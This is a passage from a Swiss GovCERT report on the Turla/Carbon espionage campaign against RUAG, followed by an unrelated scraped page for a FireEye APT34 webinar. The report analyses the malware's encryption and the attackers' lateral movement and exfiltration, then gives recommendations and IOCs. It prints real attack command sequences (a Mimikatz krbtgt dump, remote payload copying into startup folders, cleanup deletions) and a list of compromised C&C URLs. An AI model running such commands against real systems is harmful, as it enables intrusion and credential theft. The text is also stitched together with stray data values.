(1024+1), while in the standard implementation, the factor can grow up to 2048 bits. In the traditional approach, the multiplication would have to be done in a 2048 bit target, and this value would have to be taken modulus the prime number afterwards - this time in a far more complex way, one subtraction would not suffice. By not shifting the values to be added to the left every time, but instead shifting the result to the right (inside the finite field), the modulus action is implicitly performed at every step implicitly. This is a quite elegant approach, but it requires the multiplication function to be aware of the finite field. So this function is not just a big int function, but a field-aware big-int multiplication function. The downside is that, after all 1024 bits are processed, factor was divided by two 1024 times, so the result is too \xe2\x80\x9csmall\xe2\x80\x9d (which mathematically is the wrong term inside the field, but we use it as an analogy): instead of ab, the value ab/(2\xcb\x861024) is returned. To fix this problem, Tavdig uses a particular code to calculate a corrector value: Figure 13: Calculation of the 1024 Bit Multiplication Corrector Inside a Finite Field The corrector is initialized to 1 (not shown in the above screenshot), and is then multiplied with two 2048 times (twice the value of 1024). So, the final result is 2\xcb\x862048. Because we\xe2\x80\x99re operating in a field, this value can be normalized to the modulus. Now, after each multiplication, another multiplication with this corrector is required to fix the fact that the original multiplication returned a \xe2\x80\x9ctoo small\xe2\x80\x9d value. Because this second correction multiplication itself uses the same multiplication function returning \xe2\x80\x9ctoo small\xe2\x80\x9d values, the corrector needs to fix for both multiplications errors. This is why the corrector fixed for 2048 and not only 1024 right shifts. This can be seen in the code to calculate a exponentiation algorithm (base\xcb\x86power) inside the field: MODUS OPERANDI 19 / 32 MELANI:GovCERT TLP WHITE Figure 14: Exponentiation of Two 1024 Bit Integers Inside a Finite Field Here we see that every multiplication is immediately followed by a second multiplication with the corrector. The exponentiation algorithm is rather straightforward: every bit in the power value is scanned, at each step base is multiplied to itself, and whenever a 1 bit is hit, base is multiplied to the result value, which is initialized with 1. This is the standard binary exponentiation algorithm. Now all required big number operations are available. They are used in a final decryption code like this: Figure 15: ElGamal Decryption After the corrector is calculated, the variable minusOneMinusPK is initialized with the modulus (equivalent to 0), the XOR with 1 corresponds with subtracting one (the modulus is a prime and always odd), resulting in the value -1 of the field. The private key x is subtracted, and - as the comment depicts - coeff base \xcb\x86(-1-x) is calculated. This is basically the ElGamal decryption. Side note: the weird name minusOneMinusPK was chosen during the reversing process and should help the reverser to remember the variable contains \xe2\x80\x9c-1 minus private key\xe2\x80\x9d - finding good names for not yet completely known objects is one of the challenges of reverse engineering, and this sometimes fails or ends in weird names\xe2\x80\xa6 The encrypted data blob is not sent as-is, but base-64 encoded and put into a server response that looks like this: 1 2 3 Authentication Required 4 5 6 7
B2...KD9eg=
8 9 So, the base-64 encoded payload is placed between
and
and some text placed around. The trojan ignores the stuff around and only scans for
and
. Interestingly, above text is followed by many newlines. We assume this is done to flush the output if the payload is too small. MODUS OPERANDI 20 / 32 https://en.wikipedia.org/wiki/ElGamal_encryption#Decryption MELANI:GovCERT TLP WHITE Lateral movement Before the attackers try to make lateral movements, they will do some basic fingerprinting of the system and the environment the infected computer is located in. For the lateral movement, the attackers use various, public available tools, like: \xe2\x80\xa2 mimikatz.exe for the stealing of credentials \xe2\x80\xa2 pipelist.exe to list named pipes \xe2\x80\xa2 psexec.exe and wmi.exe for remote execution \xe2\x80\xa2 dsquery.exe and dsget.exe to query the Active Directory \xe2\x80\xa2 ShareEnum.exe to enumerate shares Apart from these tools, the attackers use many self-written batch scripts. They are very patient; the lateral movement can take several months. They repeat these actions regularly in order to keep information accurate and to have always enough credentials. The harvesting of credentials is done in various ways: Apart from using sniffing tools and key loggers, the attackers rely heavily on the use of Mimikatz. Mimikatz basically has the following capabilities: \xe2\x80\xa2 Getting plaintext passwords, hashes, and Kerberos tickets out of the memory \xe2\x80\xa2 Extracting certificates and private keys \xe2\x80\xa2 Perform Pass-the-Hash and Pass-the-Ticket attacks. The attackers used many of these features, until they gained control over the AD by getting the Golden Ticket (krbtgt): 1 .#####. mimikatz 2.0 alpha (x64) release ""Kiwi en C"" (Jun 22 2015 10:30:32) 2 .## ^ ##. 3 ## / \\ ## /* * * 4 ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) 5 '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) 6 '#####' with 16 modules * * */ 7 8 9 mimikatz(commandline) # privilege::debug 10 Privilege '20' OK 11 12 mimikatz(commandline) # token::elevate 13 Token Id : 0 14 User name : 15 SID name : NT AUTHORITY\\SYSTEM 16 144 39822 NT AUTHORITY\\SYSTEM ... 17 -> Impersonated ! 18 19 [...Omitted...] 20 21 mimikatz(commandline) # lsadump::lsa /patch 22 Domain 23 RID : User : LM : NTLM : 24 RID : User : LM : NTLM : 25 RID : User : LM : NTLM : 26 : / S-1-5 [...Omitted...] 27 000001f6 (502) krbtgt 28 7d9..08 MODUS OPERANDI 21 / 32 https://github.com/gentilkiwi/mimikatz https://en.wikipedia.org/wiki/Pass_the_hash https://www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-whitepaper.pdf http://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it http://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it MELANI:GovCERT TLP WHITE The attackers moved laterally by infecting additional systems. They used various approaches to do so, one shown below: 1 net use \\\\COMPUTERNAME\\IPC$ xxxx /user:DOMAIN\\USERNAME dir /ON \\\\COMPUTERNAME\\C$ \\ 2 dir /ON \\\\COMPUTERNAME\\C$ \\Users\\ 3 dir /ON \\\\COMPUTERNAME\\C$ \\PATHNAME\\ 4 dir /ON ""\\\\COMPUTERNAME\\C$ \\Users\\USERNAME\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\"" 5 copy /Y C:\\Users\\USERNAME\\AppData\\Local\\Temp\\brainware_temp.jpg ""\\\\COMPUTERNAME\\C$ \\Users\\USERNAME\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\BrainwareStart.exe"" 6 dir /ON ""\\\\COMPUTERNAME\\C$ \\Users\\USERNAME\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\"" 7 net use \\\\COMPUTERNAME\\IPC$ /delete 8 tasklist /v /s COMPUTERNAME /u DOMAINNAME\\USERNAME /p xxxx 9 net use \\\\COMPUTERNAME\\IPC$ /delete Here, the attackers copied the infection binary to a new bot and executed it from there. The attackers regularly updated configuration files of the infected bots in order to have always 2 working C&C server connections. 1 quantity = 1 2 address1 = airmax2015.leadingineurope.eu:80:/wp-content/gallery/ 3 4 [CW_INET_RESULTS] 5 quantity = 1 6 address1 = airmax2015.leadingineurope.eu:80:/wp-content/gallery/ 7 8 [CW_INET] 9 quantity = 1 10 address1 = porkandmeadmag.com:80:/wp-includes/pomo/js/ 11 12 [CW_INET_RESULTS] 13 quantity = 1 14 address1 = porkandmeadmag.com:80:/wp-includes/pomo/js/ If a system was of no use anymore, the attackers tried to clean it by deleting the files and stopping the service: 1 rem sc stop srservice 2 sc delete srservice 3 dir /ON ""C:\\Program Files\\PATH"" 4 del /q ""C:\\Program Files\\PATH\\msximl.dll"" del /q ""C:\\Program Files\\PATH\\ximarsh.dll"" del /q ""C:\\Program Files\\PATH\\miniport.dat"" del /q ""C:\\Program Files\\PATH\\vndkrmn.dic"" del /q ""C:\\Program Files\\PATH\\msimghlp.dll"" del /q ""C:\\windows\\system32\\srsvc.dll"" 5 dir /ON ""C:\\Program Files\\PATH"" 6 net use IPC$ /delete MODUS OPERANDI 22 / 32 MELANI:GovCERT TLP WHITE Data Exfiltration For the internal communication between infected bots inside the RUAG network, a kind of peer-to-peer network (P2P) based on windows named pipes was constructed. The malware used a botnet hierarchy consisting of worker drones for executing tasks and collecting data, and communication drones for exfiltrating the stolen data out of the network. Using such a P2P network with a bot hierarchy, the attackers were able to send commands/instructions to infected computers within the RUAG network that were not able to communicate to the Internet directly. The most common pipe name used for this purpose is COMNAP: This named pipe has once been used by Windows for the communication with the SNA protocol used by IBM mainframes. Through this named pipe, several commands are exposed to any other peer upon successful passing of the authentication handshake. The usage of this transport mechanism is configured in the trojan configuration file: 1 [TRANSPORT] 2 system_pipe = comnap 3 spstatus = yes 4 adaptable = no 5 post_frag=yes 6 pfsgrowperiod=259200 MODUS OPERANDI 23 / 32 http://msdn.microsoft.com/en-us/library/windows/desktop/aa365590%28v=vs.85%29.aspx MELANI:GovCERT TLP WHITE Figure 16: Proxy Tier Topology For the data exfiltration, the attackers used HTTP POST requests, which were initiated by the communica- tion drones: MODUS OPERANDI 24 / 32 MELANI:GovCERT TLP WHITE 1 2016-01-01 00:00:00 hXXp://sampledomain.com/bad.php 200 POST ""Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0;)"" We\xe2\x80\x99re aware following C&C having been used to send tasks and to exfiltrate data. Please note that most of these servers have been hacked by the attacker and the owners are victims of this actor group as well. At the time of writing, most of these websites were already cleaned up. Domain IP AS airmax2015.leadingineurope[.]eu 5.255.93[.]228 AS50673 bestattung-eckl[.]at 195.3.105[.]50 AS8447 buendnis-depression[.]at 85.25.120[.]177 AS8972 deutschland-feuerwerk[.]de 195.63.103[.]228 AS12312 digitallaut[.]at 81.223.14[.]100 AS6830 porkandmeadmag[.]com 155.94.65.2 AS19531 salenames[.]cn 193.26.18.117 AS25537 shdv[.]de 85.214.40[.]111 AS6724 smartrip-israel[.]com 92.53.126.118 AS9123 www.asilocavalsassi[.]it 94.242.60[.]104 AS43317 www.millhavenplace.co[.]uk 217.10.138[.]233 AS6908 www[.]jagdhornschule[.]ch 80.74.145[.]80 AS21069 Figure 17: Command and Control Servers The domains may be found in most proxy or DNS log files since they are legitimate. If you want to search your logs for this attacker group, please use the full URLs, which you\xe2\x80\x99ll find in the IOC Appendix. We made statistics based on the available proxy logs from the RUAG company and could make the following conclusions: \xe2\x80\xa2 During the lateral phase of the attack, not much data has been transferred to the outside, and the amount of requests were small. \xe2\x80\xa2 Total data exfiltrated: about 23GB. It is noteworthy that this data contains also beaconing requests to the C&C servers. Also, some data has been exfiltrated more than once, and exfiltrated data was usually compressed. However, the size of exfiltrated data gives no insight about the confidentiality and the value of the stolen data. It is not possible to find out what data actually was stolen using proxy logs, because no wiretap was in place before the attack was detected. We can only make such statements about activities since the wiretap was actually installed - which is one of the motivations for the observation phase. \xe2\x80\xa2 The amount of exfiltrated data varies strongly during the time period observed. On one hand, there are large spikes of nearly 1GB in one day, while there are longer periods, when nothing noteworthy seems to have happened. \xe2\x80\xa2 Another interesting observation is the extended phase of lateral movement: during the first 8 months, not much data has been sent out. However, it is possible that not all C&C servers have been identified. \xe2\x80\xa2 The most active phases took place from September to December 2015. The following figure shows the amount of data exfiltrated (once more, these are sizes of compressed data, including repetitions and beaconing requests): MODUS OPERANDI 25 / 32 MELANI:GovCERT TLP WHITE Figure 18: Data Exfiltration by Day There are phases with very few requests; we believe that during such phases the attackers did not perform any actions, the requests are most probably merely status messages. On the other hand, there are very active phases with many requests. These phases correlate to the amount of data exfiltrated and are a sign of activity of the attacker. Figure 19: Requests by Day MODUS OPERANDI 26 / 32 MELANI:GovCERT TLP WHITE Recommendations Even though we have no information about other victims in Switzerland, the following information might be valuable in order to prevent and detect such attacks. Please note that this is not an exhaustive guideline, but rather a collection of ideas and pointers where one might start. System level There exist a few countermeasures, which make it much more difficult for the attacker to gain an initial foothold. These measures should be applied to client computers, as well as to servers. \xe2\x80\xa2 Consider using Applocker, a technique from Microsoft, which allows you to decide, based on GPOs (Group Policy Objects), which binaries are allowed to be executed, and under which paths. There exist two basic approaches: a blacklisting of certain directories, where no binaries may be executed, and a whitelisting of directories, where only known binaries are allowed. Even though the whitelisting approach is always the more secure one, it is already an obstacle, if the attacker has no simple way of executing a downloaded binary from a temporary path. These approaches may also be combined. Of course there exist many similar tools, which may be used for the same purpose. Most of the Antivirus companies have extended functionality in addition to the traditional virus detection. There is often a possibility to restrict certain processes to write in the user home directory. However, AppLocker is very convenient for most organizations, as it can be controlled using GPOs. \xe2\x80\xa2 Reduce the privileges a user has when surfing the web or doing normal office tasks. High privileges may only be used when doing system administration tasks. \xe2\x80\xa2 This actor, as well as many other actor groups, relies on the usage of \xe2\x80\x9cnormal\xe2\x80\x9d tools for their lateral movement. The usage of such tools can be monitored. E.g. the start of a tool such as psexec.exe or dsquery.exe from within a normal user context should raise an alarm. \xe2\x80\xa2 Keep your systems up-to-date and reduce their attack surface as much as possible (e.g.: Do you really need to have Flash deployed on every system?) \xe2\x80\xa2 Use write blockers and write protection software for your USB/Firewire devices, or even disable them for all client devices \xe2\x80\xa2 Block the execution of macros, or require signed macros Active Directory As the active directory (AD) is one of the main targets of the attackers and absolutely crucial for any organization, many security precautions must be taken in order to protect its integrity. We cannot give a full security recommendation on how to protect your AD. The following pointers should give you some hints on where to begin: \xe2\x80\xa2 Do a close monitoring of AD logs for unusual and large queries from normal clients \xe2\x80\xa2 Use a two-factor authentication throughout your AD, especially for high-privileged accounts \xe2\x80\xa2 Avoid the use of LM/NTLM authentication \xe2\x80\xa2 Do regular AD RAPs if you are a premier customer of Microsoft. See: AD RAP Network level There are various important points to improve the resilience and detection capability on the network level \xe2\x80\xa2 Use one central and heavily guarded choke point that every packet must pass in the direction of the Internet. RECOMMENDATIONS 27 / 32 https://services.premier.microsoft.com/assess?Culture=de-DE&CultureAutoDetect=true MELANI:GovCERT TLP WHITE \xe2\x80\xa2 Any Internet Access should pass a proxy that logs all header information, including cookies. \xe2\x80\xa2 Servers should only be allowed to make outbound connections on a point-to-point whitelisting \xe2\x80\xa2 Think about internal network segmentation. Block any direct client-to-client communication. \xe2\x80\xa2 Use a dedicated management (V)LAN \xe2\x80\xa2 Separate the BYOD (bring your own device) devices from the company clients and servers. \xe2\x80\xa2 Collect netflow data, not only between networking zones, but internally as well. \xe2\x80\xa2 Use a classic signature based IDS, such as Snort or Suricata, in addition to commercial solutions. It gives you the possibility to quickly deploy hand-made detection rules in the case of an intrusion. \xe2\x80\xa2 Use PassiveDNS to keep all domain queries going to the Internet and make these searchable in a quick and efficient way \xe2\x80\xa2 Don\xe2\x80\x99t let your clients resolve external addresses. Only your proxy should be able to resolve external addresses. \xe2\x80\xa2 Use split-horizon DNS setups. \xe2\x80\xa2 Use RPZ (Response Policy Zone) on your DNS servers. See: RPZ \xe2\x80\xa2 There exist many more possibilities to tighten up the security of your network. You might e.g. consider using virtualized desktops or terminal services for Internet surfing. Log files As we have seen once more, the availability of log files is crucial for the analysis of such incidents. \xe2\x80\xa2 Long term log archives - 2 years or more are recommended - for crucial gateway systems such as proxy and DNS. \xe2\x80\xa2 Central log collection, indexing and archiving \xe2\x80\xa2 Continuous log analysis and matching the log files against known IOCs \xe2\x80\xa2 Adapt the log settings to your needs. E.g.: logging the user-agent may not be the default setting, but is highly recommendable. System Management We strongly encourage any organization to separate management from business traffic. Management of systems should be done from within a separate network using jumphosts. No Internet access should be given to such management stations. Authentication must be made using a second factor, such as a smart card or a one time password token. Additionally, it is important to protect system management tools as well as software and source code reposito- ries as good as possible. Software packets should be digitally signed and one should always store known-good states on WORM media (Write Once Read Many). Organization The incident handling must be prepared with clear procedures, responsibilities, and communication strate- gies. \xe2\x80\xa2 In the case of an incident: Inform your technical team as open as possible, in order to speed up the incident response and avoid unwanted collateral damage. \xe2\x80\xa2 Have complete and up-to-date inventory of all systems, software and networks. \xe2\x80\xa2 Establish a tight link between the operational security teams and the risk managers in your organization. Any security incident is nothing else than a materialized risk. RECOMMENDATIONS 28 / 32 https://dnsrpz.info/ MELANI:GovCERT TLP WHITE \xe2\x80\xa2 Accept that some risks cannot be dealt with in a preventative way and therefore invest in detection capabilities. It is important to have good engineers that have a firm understanding of your infrastructure and your business as well. \xe2\x80\xa2 Have patching procedures in place that allow you deploying an emergency patch within 24h max. \xe2\x80\xa2 Know your most critical processes and have a continuity plan for those times, when the original process is disturbed. Conclusion The attack is a very good example of how targeted attacks take place and the impressive patience the attackers show, trying to reach their goals. Even if we think completely preventing such attacks is very difficult, the goal must be to make them as difficult as possible. There is a good chance to make the entry point difficult to find, when protecting the clients adequately using tools like Applocker or virtualized browsers. Even if this does not completely eliminate this kind of threat, the bar is raised for the attacker. Furthermore, if you observe various failed attack attempts, you actually gain time and insight to monitor the actor and to prepare yourself. One of the most effective countermeasures from a victim\xe2\x80\x99s perspective is the sharing of information about such attacks with other organizations, also crossing national borders. This is why we decided to write a public report about this incident, and this is why we strongly believe to share as much information as possible. If this done by any affected party, the price for the attacker raises, as he risks to be detected in every network he attacked in different countries. This forces him to either prioritize his targets more, or to use different malware programs and different C&C infrastructures. We\xe2\x80\x99re also sharing information gathered during many hours of analysis and in various cases with our partners; These partners are doing the same on their side and are returning findings in their networks. This is precisely what happened in the RUAG case: it was detected based upon mutual sharing of information. We\xe2\x80\x99re happy to work together with many partner organizations throughout Europe and are grateful for their efforts and the good international cooperation. Putting all elements together over a long time gives the momentum of action back to the CERTs and CSIRTs, struggling to keep their networks clean and their data safe. The fact that attackers abuse vulnerable systems for their purpose - no matter if this is for criminal activities or espionage - show the importance and responsibility of every party providing services on the Internet. There is no such thing as an insignificant systems on the Internet, every server may be abused for attacking others. This puts great responsibility on everyone, and we hope that this report contributes to increase the security level within every network and server. We intentionally did not make any attributions in regard who might be behind these attacks. First, it is nearly impossible to find enough proof for such claims. Secondly, we think it is not that important, because - unfortunately - many actors use malware and network intrusions for reaching their intentions. To our belief, nothing justifies such actions, and we support taking steps to ban such attacks instead of accepting them as inevitable. This is why it is important to talk about such attacks in a purely neutral and technical way, in order to raise awareness and to provide protection. One of the most interesting aspect of these attacks is the very rich set of strategies applied by the attackers, especially during the lateral movement phase. Another interesting aspect is the use of this malware over many years, including maintenance and bug fixing - this suggests that it is still considered an asset. The malware itself is not too complex and - in the RUAG case - without any root kit functionality. We do believe that the lack of such features does not need to be a disadvantage, as the camouflage is very well-thought, e.g. by the naming scheme or the communication methods used. The use of batch jobs and external binaries transferred in the form of tasks to the infected bots allow a very flexible approach. Even if we consider the attacks to be advanced and dangerous, it should be noted that the attackers have habits and mistakes, allowing the defenders to see them and to initiate appropriate countermeasures. In order to be able to recognize such habits and mistakes, awareness about such attacks must be high, and CONCLUSION 29 / 32 MELANI:GovCERT TLP WHITE organizations need to have the necessary detection and analysis capabilities. We would like to emphasize that fighting against such kind of threats cannot be done purely with preventive measures. The detection capabilities must be fostered, and the security teams need time and resources to search for unusual system behavior. CONCLUSION 30 / 32 MELANI:GovCERT TLP WHITE Appendix IOCs URLs The following URLs are known to be part of the C&C infrastructure of the attacker. Please note that many of these systems have been hacked and that these domains are perfectly legitimate. 1 airmax2015.leadingineurope[.]eu/wp-content/gallery/ 2 bestattung-eckl[.]at/typo3temp/wizard.php 3 buendnis-depression[.]at/typo3temp/ajaxify-rss.php 4 deutschland-feuerwerk[.]de/fileadmin/dekoservice/rosefeed.php 5 digitallaut[.]at/typo3temp/viewpage.php 6 florida4lottery[.]com/wp-content/languages/index.php 7 porkandmeadmag[.]com/wp-content/gallery/ 8 salenames[.]cn/wp-includes/pomo/js/ 9 shdv[.]de/fileadmin/shdv/Pressemappe/presserss.php 10 smartrip-israel[.]com/wp-content/gallery/about.php 11 woo.dev.ideefix[.]net/wp-content/info/ 12 www.asilocavalsassi[.]it/media/index.php 13 www.ljudochbild[.]se/wp-includes/category/ 14 www.millhavenplace.co[.]uk/wp-content/gallery/index.php 15 www[.]jagdhornschule[.]ch/typo3temp/rss-feed.php MD5 Hashes The following Hashes are Malware Binaries 1 22481e4055d438176e47f1b1164a6bad srsvc.dll 2 68b2695f59d5fb3a94120e996b8fafea srsvc.dll 3 3881a38adb90821366e3d6480e6bc496 ximarsh.dll 4 1d82c90bcb9863949897e3235b20fb8a msximl.dll 5 1a73e08be91bf6bb0edd43008f8338f3 msximl.dll 6 2cfcacd99ab2edcfaf8853a11f5e79d5 ximarsh.dll 7 6b34bf9100c1264faeeb4cb686f7dd41 msximl.dll 8 9f040c8a4db21bfa329b91ec2c5ff299 msimghlp.dll 9 a50d8b078869522f68968b61eeb4e61d msimghlp.dll 10 b849c860dff468cc52ed045aea429afb msimghlp.dll 11 ba860e20c766400eb4fab7f16b6099f6 ximarsh.dll 12 2372e90fc7b4d1ab57c40a2eed9dd050 msssetup.exe APPENDIX IOCS 31 / 32 MELANI:GovCERT TLP WHITE External References Much has been published about this threat, below a few links that give additional insight: \xe2\x80\xa2 https://securelist.com/analysis/publications/65545/the-epic-turla-operation/ \xe2\x80\xa2 http://www.symantec.com/connect/blogs/turla-spying-tool-targets-governments-and-diplomats \xe2\x80\xa2 https://www.circl.lu/pub/tr-25/ \xe2\x80\xa2 https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug- attack-group.pdf \xe2\x80\xa2 http://www.kaspersky.com/about/news/virus/2014/Unraveling-mysteries-of-Turla-cyber-espionage- campaign \xe2\x80\xa2 http://artemonsecurity.com/uroburos.pdf \xe2\x80\xa2 https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra \xe2\x80\xa2 http://www.symantec.com/connect/blogs/turla-spying-tool-targets-governments-and-diplomats List of Figures 1 Chronology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2 The Turla Family . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 3 Attack Phases . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 4 Chain of Infection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 5 Turla Timeline . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 6 Tavdig Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 7 Task Format . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 8 Botnet Hierarchy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 9 RSA in Carbon-DLL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 10 Symmetric Encryption in Carbon-DLL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 11 1024 Bit Addition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 12 1024 Bit Multiplication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 13 1024 Bit Multiplication Corrector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 14 1024 Bit Exponentiation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 15 ElGamal Decryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 16 Proxy Tier Topology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 17 CC Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 18 DataExfiltration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 19 Requests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 LIST OF FIGURES 32 / 32 Summary Introduction The Case The Chronology The Malware Family Modus Operandi Victim Evaluation Infecting Active Infection Trojan Supported Reconnaissance Gaining Information and the Task Format Gaining Final Persistence A Closer Look at the Encryption Algorithms Used in Carbon-DLL and Tavdig Lateral movement Data Exfiltration Recommendations System level Active Directory Network level Log files System Management Organization Conclusion Appendix IOCs URLs MD5 Hashes External References","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0" -"APT34 - New Targeted Attack in the Middle East All BrightTALK Business Management Finance Human Resources Information Technology Legal Marketing Research & Development Sales Hi [[ session.user.profile.firstName ]] Manage Channels I own My feed Watch later My viewing history My channels Add profile photo Change profile photo Edit profile Log out Navigation Search Summits Communities All BrightTALK Information Technology Legal Human Resources Finance Marketing Sales Business Management Research & Development Log in Join now My account Manage Channels I own My feed Watch later My viewing history My channels Edit profile Log out Search Summits Communities All BrightTALK Information Technology Legal Human Resources Finance Marketing Sales Business Management Research & Development Log in Join now My account Manage Channels I own My feed Watch later My viewing history My channels Edit profile Log out Share this content Share on LinkedIn Share on Twitter Share on Facebook Share on Google+ Embed APT34 - New Targeted Attack in the Middle East Recent investigations by FireEye\xe2\x80\x99s Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of a suspected Iranian threat group, that we believe has been operating since at least 2014. APT34 are involved in long-term cyber espionage operations largely focused on the Middle East. This threat group has conducted broad targeting across a variety of industries, including financial, government, energy, chemical, and telecommunications. Join us in a live webinar as we discuss this threat group whom we assess to be working on behalf of the Iranian Government, with a mission that would benefit nation-state geopolitical and economic needs. APT34 uses a mix of public and non-public tools, often conducting spear phishing operations using compromised accounts from trusted third parties, sometimes coupled with social engineering tactics. Register today to gain deeper insights into this threat group! ...more ...less Recorded Dec 19 2017 64 mins Your place is confirmed, we'll send you email reminders Add to calendar Outlook iCal Google Watch for free Presented by STUART DAVIS | DIRECTOR EUROPE, MIDDLE EAST & AFRICA; DAN CABAN | PRINCIPAL CONSULTANT, MIDDLE EAST & AFRICA Watch later Viewing Certificate Presentation preview: Related topics: APT APT34 cyber espionage Cyber Attacks Spear Phishing Cyber Defence more\xe2\x80\xa6 Channel Channel profile FireEye EMEA Up Down Misurare e migliorare l\xe2\x80\x99efficacia degli investimenti cyber con FireEye/Verodin. Oct 2 2019 12:00 pm UTC 45 mins Marco Riboli, Vice President, Southern Europe, FireEye e Gabriele Zanoni, Systems Engineer, Italia, FireEye Verodin ha sviluppato una tecnologia di \xe2\x80\x9cSecurity Instrumentation\xe2\x80\x9d per valutare l\xe2\x80\x99efficacia dei sistemi di sicurezza. Con Verodin, FireEye estende la propria capacit\xc3 di aiutare i clienti ad adottare un approccio proattivo nell\xe2\x80\x99identificazione e nella mitigazione dei rischi dovuti ad errate configurazioni, ad inefficienze nei prodotti o processi di sicurezza in azienda. Verodin mette alla prova i sistemi di security come SIEM, FW,Proxy, Endpoint, Email, DLP, Cloud etc\xe2\x80\xa6 e suggerisce le attivit\xc3 di Remediation; rimuove i presupposti e permette di valutare oggettivamente l\xe2\x80\x99esposizione agli attacchi, grazie al monitoraggio ed al test dei prodotti e dei processi di sicurezza. Registrati al webinar e scopri come FireEye grazie alle nuove funzionalit\xc3 Verodin: \xe2\x80\xa2Valuta la priorit\xc3 sugli investimenti Security in relazione all\xe2\x80\x99esposizione alle minacce. \xe2\x80\xa2Fornisce uno strumento per massimizzare gli investimenti gi\xc3 fatti con indicazioni su come ottimizzare i prodotti sia On-Premise sia in Cloud. \xe2\x80\xa2Fornisce Allarmi su cambiamenti non tracciati o non voluti che potrebbero comportare un aumento del rischio di attacchi sia On-Premise sia in Cloud. \xe2\x80\xa2Estende il perimetro ai sistemi Scada e ICS, verificando le comunicazioni fra le reti OT ed IT e dando prova delle effettive restrizioni. \xe2\x80\xa2Permette di verificare le Golden Image aziendali e gli Endpoint rispetto ad attacchi distruttivi come quelli Ransomware. \xe2\x80\xa2Permette di verificare la bont\xc3 dei sistemi DLP e di effettuare test automatizzati e replicabili di Data Exfiltration. Il risultato \xc3\xa8 di estremo interesse per i SOC Manager, i CISO e il Board. Registrati al webinar ORA! Save your seat \xd0\x94\xd0\xb0 \xd1\x81\xd0\xb5 \xd1\x81\xd0\xbf\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb8\xd0\xbc \xd1\x81 \xd0\xbd\xd0\xb0\xd0\xb9-\xd0\xbd\xd0\xb0\xd0\xbf\xd1\x80\xd0\xb5\xd0\xb4\xd0\xbd\xd0\xb0\xd0\xbb\xd0\xb8\xd1\x82\xd0\xb5 \xd0\xb7\xd0\xb0\xd0\xbf\xd0\xbb\xd0\xb0\xd1 \xd0\xb8 \xd1\x87\xd1\x80\xd0\xb5\xd0\xb7 \xd1\x82\xd0\xb5\xd1 \xd0\xbd\xd0\xbe\xd0\xbb\xd0\xbe\xd0\xb3\xd0\xb8\xd0\xb8\xd1\x82\xd0\xb5 \xd0\xbd\xd0\xb0 FireEye Oct 1 2019 12:00 pm UTC 60 mins Zlatomir Milanov, System Engineer, Computer 2000 \xd0\x92\xd1\x81\xd0\xb5 \xd0\xbd\xd1\x8f\xd0\xba\xd0\xbe\xd0\xb3\xd0\xb0 \xd0\xbc\xd0\xbe\xd0\xb6\xd0\xb5 \xd0\xb4\xd0\xb0 \xd1\x81\xd0\xb5 \xd1\x81\xd0\xbb\xd1\x83\xd1\x87\xd0\xb8 \xd0\xbd\xd1\x8f\xd0\xba\xd0\xbe\xd0\xb9 \xd0\xbe\xd1\x82 \xd0\xb2\xd0\xb0\xd1\x88\xd0\xb0\xd1\x82\xd0\xb0 